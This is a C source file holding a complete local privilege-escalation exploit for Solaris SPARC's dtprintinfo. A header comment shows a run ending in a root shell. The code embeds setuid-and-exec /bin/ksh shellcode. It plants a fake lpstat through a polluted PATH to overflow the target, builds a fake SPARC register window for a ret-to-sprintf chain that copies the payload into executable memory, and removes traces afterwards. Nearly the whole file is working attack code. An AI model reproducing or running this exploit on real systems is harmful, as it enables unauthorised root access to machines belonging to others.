sol_sparc_dtp.c

/*

-bash-3.00$ ./dtsparc 192.168.1.100:2
[+] Re-executing with polluted environment ...
[+] Aligning bits and bobs to match target stack layout ...
[+] Prepping Fake Frame ...
[+] Searching for RWX mem in child: 9384
[+] Located RWX address @ 0xff3f6010
[+] Payload src @ ffbfff7e
[+] Fake Frame located @ ffbfff26, aligned: ffbfff28
[+] R_STACK(x_frame): ffbfeffc
[+] Resolved sprintf @ ff3c833c
[+] Fake Frame located @ ffbfff26, aligned: ffbfff28
[+] R_STACK(x_frame): ffbfeffc
[+] Resolved sprintf @ ff3c833c
...
# echo "Hello darkness my old friend ..."
Hello darkness my old friend ...
# uname -a
SunOS lunar 5.10 Generic_120011-14 sun4u sparc SUNW,Ultra-5_10
# exit

Love,
Bas

*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/systeminfo.h>
#include <dlfcn.h>
#include <link.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <procfs.h>
#include <signal.h>

#define FF_OFF 188 /* offset to targeted saved register window */
#define PT_OFF 172 /* offset to ptr deref */

/* macro to grab some read/write safe stack addie */
#define R_STACK(x) ((((int)x | 0xffff) & 0xfffffffc) - 0x5000)

#define DT_BIN "/usr/dt/bin/dtprintinfo"

/* we're going through an sprintf so this can't have percent */
uint8_t payload[] = { 
    /* 0x91, 0xd0, 0x20, 0x01, */    /* ta 1 */
    0x90, 0x08, 0x3f, 0xff,
    0x82, 0x10, 0x20, 0x17,
    0x91, 0xd0, 0x20, 0x08,
    0x20, 0xbf, 0xff, 0xff,
    0x20, 0xbf, 0xff, 0xff,
    0x7f, 0xff, 0xff, 0xff,
    0x90, 0x03, 0xe0, 0x20,
    0x92, 0x02, 0x20, 0x10,
    0xc0, 0x22, 0x20, 0x08,
    0xd0, 0x22, 0x20, 0x10,
    0xc0, 0x22, 0x20, 0x14,
    0x82, 0x10, 0x20, 0x0b,
    0x91, 0xd0, 0x20, 0x08,
    '/', 'b', 'i', 'n',
    '/', 'k', 's', 'h',
    /* for sprintf termination */
    0x00 
};

uint32_t resolve_sprintf(void)
{
    void *h;
    Link_map *linkmap;
    uint32_t a;

    if (!(h = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)))
    {
        fprintf(stderr, "[-] Could not open LM_ID_LDSO ...\n");
        return 0;
    }
    if (dlinfo(h, RTLD_DI_LINKMAP, &linkmap) == -1)
    {
        fprintf(stderr, "[-] Could not get linkmap ...\n");
        return 0;
    }
    if (!(a = (uint32_t)dlsym(h, "sprintf")))
    {
        fprintf(stderr, "[-] Could not locate sprintf ...\n");
        return 0;
    }
    dlclose(h);

    fprintf(stderr, "[+] Resolved sprintf @ %.8x\n", a);

    return a;
}

uint32_t locate_rwx(void)
{
    int fd;
    prmap_t map;
    uint32_t a = 0, last_a = 0;
    char proc[32];
    pid_t child;

    if (!(child = fork()))
    {
        char *exec[] = { DT_BIN, NULL };

        /* get a suspended child we can map */
        ptrace(0, 0, NULL, NULL);
        execve(exec[0], exec, NULL);

        fprintf(stderr, "[-] Merde!\n");

        exit(0);
    }
    else
    {
        int status;

        wait(&status);

        fprintf(stderr, "[+] Searching for RWX mem in child: %d\n", child);

        sprintf(proc, "/proc/%d/map", child);
        if ((fd = open(proc, O_RDONLY)) == -1)
        {
            fprintf(stderr, "[-] Could not open: %s\n", proc);
            return 0;
        }
        while (read(fd, &map, sizeof(map)))
        {
            if (map.pr_vaddr)
                if (map.pr_mflags & (MA_READ|MA_WRITE|MA_EXEC))
                {
                    last_a = a;
                    a = map.pr_vaddr;
                }
        }
        close(fd);

        /* clear nul bytes from low word if needed */
        if (!(last_a & 0x00ff))
            last_a |= 0x0010; /* 0x10 cuz will likely be -8'd for ret */
        if (!(last_a & 0xff00))
            last_a |= 0x0800;

        fprintf(stderr, "[+] Located RWX address @ 0x%.8x\n", last_a);
    
        kill(child, SIGSTOP);
    }

    return last_a;
}

int
main(int argc, char **argv, char **envp)
{
    char f_frame[4 + 4 + 64 + 1]; /* l0-l7, i0-i7 */
    char f_loc_buf[14 + 1];
    char s_buf[sizeof(payload) + 4];
    char d_buf[256];
    char *x_env[] = { "PATH=.:/usr/bin", "HOME=/tmp", (char *)f_frame, f_loc_buf, s_buf, d_buf, NULL };
    char *x_tgt[] = { DT_BIN, NULL };
    char e_align[256]; /* use this to keep our reexec env aligned */

    /* we needs a valid x-server to talks to */
    if (argc != 2 && !getenv("FFF"))
    {
        printf("Usage: %s <xhost:display>\ne.g. %s 127.0.0.1:2\n", argv[0], argv[0]);
        return 0;
    }
    else if (argv[1] && !getenv("FFF"))
        snprintf(d_buf, sizeof(d_buf) - 1, "DISPLAY=%s", argv[1]);

    if (!strcmp(argv[0], "lpstat")) /* xploit mode */
    {
        uint32_t x_frame[16]; /* l0-l7, i0-i7 */
        char x_buf[FF_OFF + sizeof(x_frame) + 1];
        uint32_t f_loc, a_sprintf;
        char *p_loc;
        int i;

        fprintf(stderr, "[+] Fake lpstat called as:");
        for (i = 0; argv[i]; i ++)
            fprintf(stderr, " %s", argv[i]);
        fprintf(stderr, "\n");

        if (!(p_loc = getenv("FFL")))
        {
            fprintf(stderr, "[-] Could not locate fake frame loc in environment ...\n");
            return 1;
        }

        f_loc = strtoul(p_loc, NULL, 16);

        fprintf(stderr, "[+] Fake Frame located @ %.8x, aligned: %.8x\n", f_loc, f_loc + (4 - (f_loc % 4)));
        fprintf(stderr, "[+] R_STACK(x_frame): %.8x\n", R_STACK(x_frame));

        memset(x_buf, 'P', sizeof(x_buf));

        *(uint32_t *)&x_buf[PT_OFF] = R_STACK(x_frame); /* survive i0 deref: 0x26c64 <__0fFDtAppMUpdateQueuesv+2556>: ld  [ %i0 ], %o0 */

        /* ret2sprintf, provide fake frame from restore through fp control */
        a_sprintf = resolve_sprintf();
        if (!a_sprintf)
            return 1;

        /* l0-l7 */
        x_frame[0]  = 0x41414141; /* local 0 */
        x_frame[1]  = 0x42424242; /* local 1 */
        x_frame[2]  = 0x43434343; /* local 2 */
        x_frame[3]  = 0x44444444; /* local 3 */
        x_frame[4]  = 0x45454545; /* local 4 */
        x_frame[5]  = 0x46464646; /* local 5 */
        x_frame[6]  = 0x47474747; /* local 6 */
        x_frame[7]  = 0x48484848; /* local 7 */
        /* i0-i7 */
        x_frame[8]  = R_STACK(x_frame); /* incoming parameter 0 / ret val */
        x_frame[9]  = 0x50505050; /* incoming parameter 1 */
        x_frame[10] = 0x51515151; /* incoming parameter 2 */
        x_frame[11] = 0x52525252; /* incoming parameter 3 */
        x_frame[12] = 0x53535353; /* incoming parameter 4 */
        x_frame[13] = 0x54545454; /* incoming parameter 5 */
        x_frame[14] = f_loc + (4 - f_loc % 4); /* frame pointer: restore our fake ret2libc frame from here */
        x_frame[15] = a_sprintf - 8 + 4; /* return address - 8 (ret == jmpl %i7 + 8), + 4 to skip the save */

        memcpy(x_buf + FF_OFF, x_frame, sizeof(x_frame));
        
        x_buf[sizeof(x_buf)-1] = 0x00;

        if (!strcmp(argv[1], "-v"))
            printf("device for %s: /dev/null\n", x_buf);
        else
        if (!strcmp(argv[1], "-d"))
        {
            struct stat buf;

            /* cleanup after ourselves */
            e_align[0] = 0x00;
            while (strlen(e_align) < strlen(DT_BIN))
                strcat(e_align, "A");
            unlink(e_align);
            unlink("lpstat");

            /* check for dtprintinfo cores */
            if (stat("/core", &buf) != -1)
                fprintf(stderr, "[!] /core exists, clean up after yourself sloppy Joe!\n");
                
            /* trigger ovf */
            printf("system default destination: %s\n", x_buf);
        }
    
        return 0;
    }
    else
    if (getenv("FFF") && getenv("PLS") && getenv("DISPLAY")) /* fix up our frame with target info and go go go */
    {
        char *p_frame, *s_loc;
        uint32_t fp[16], a_rwx;

        /* pass through the correct frame loc from our mock stack layout */
        p_frame = getenv("FFF"); /* fake frame */
        sprintf(f_loc_buf, "FFL=0x%.8x", (uint32_t)p_frame);

        s_loc = getenv("PLS"); /*payload src */
        sprintf(s_buf, "PLS=%s", payload); /* reset payload env */

        /* migrate over our target display */
        snprintf(d_buf, sizeof(d_buf) - 1, "DISPLAY=%s", getenv("DISPLAY"));

        fprintf(stderr, "[+] Prepping Fake Frame ...\n");

        /* resolve dest for sprintf */
        a_rwx = locate_rwx();
        if (!a_rwx)
            return 1;

        fprintf(stderr, "[+] Payload src @ %.8x\n", (uint32_t)s_loc);

        /* set and terminate */
        memset(f_frame, 'P', sizeof(f_frame));
        f_frame[sizeof(f_frame) - 1] = 0x00;

        /* FFF= */
        memcpy(f_frame, "FFF=", 4);
        
        /* on return to corrupted i7 + 8, regs are restored from fp, which is pointing at this fake window */

        /* l0-l7 */
        fp[0]  = 0x41414141;
        fp[1]  = 0x42424242;
        fp[2]  = 0x43434343;
        fp[3]  = 0x44444444;
        fp[4]  = 0x45454545;
        fp[5]  = 0x46464646;
        fp[6]  = 0x47474747;
        fp[7]  = 0x48484848;

        /* i0-i7 */
        fp[8]  = a_rwx;             /* arg0 payload dest */
        fp[9]  = (uint32_t)s_loc;   /* arg1 payload src */
        fp[10] = 0x50505050;
        fp[11] = 0x51515151;
        fp[12] = 0x52525252;
        fp[13] = 0x53535353;
        fp[14] = R_STACK(fp);       /* fp: just some readable thing */
        fp[15] = a_rwx - 8;         /* ret2sprintf dest */

        /* align fake frame data on 4 in buffer */
        memcpy(f_frame + 4 + (4 - ((uint32_t)p_frame % 4)), fp, sizeof(fp));

        symlink(argv[0], "lpstat");
        execve(x_tgt[0], x_tgt, x_env);

        fprintf(stderr, "[-] Error executing: %s\n", x_tgt[0]);

        return 1;
    }

    /* reexec with f_frame env */
    fprintf(stderr, "[+] Re-executing with polluted environment ...\n");

    /* placeholder mem inits */
    memset(f_frame, 'P', sizeof(f_frame));
    memcpy(f_frame, "FFF=", 4);
    f_frame[sizeof(f_frame) - 1] = 0x00;
    sprintf(f_loc_buf, "FFL=0x%.8x", 0xcafebabe);
    
    /* payload src from env */
    sprintf(s_buf, "PLS=%s", payload);

    /* we want argv[0] length to match argv[0] length of target bin on bug trigger */
    fprintf(stderr, "[+] Aligning bits and bobs to match target stack layout ...\n");
    e_align[0] = 0x00;
    while (strlen(e_align) < strlen(DT_BIN))
        strcat(e_align, "A");
    link(argv[0], e_align); /* this has to be a hard link */

    x_tgt[0] = e_align;
    execve(e_align, x_tgt, x_env);

    fprintf(stderr, "[-] Error executing: %s\n", e_align);

    return 1;
}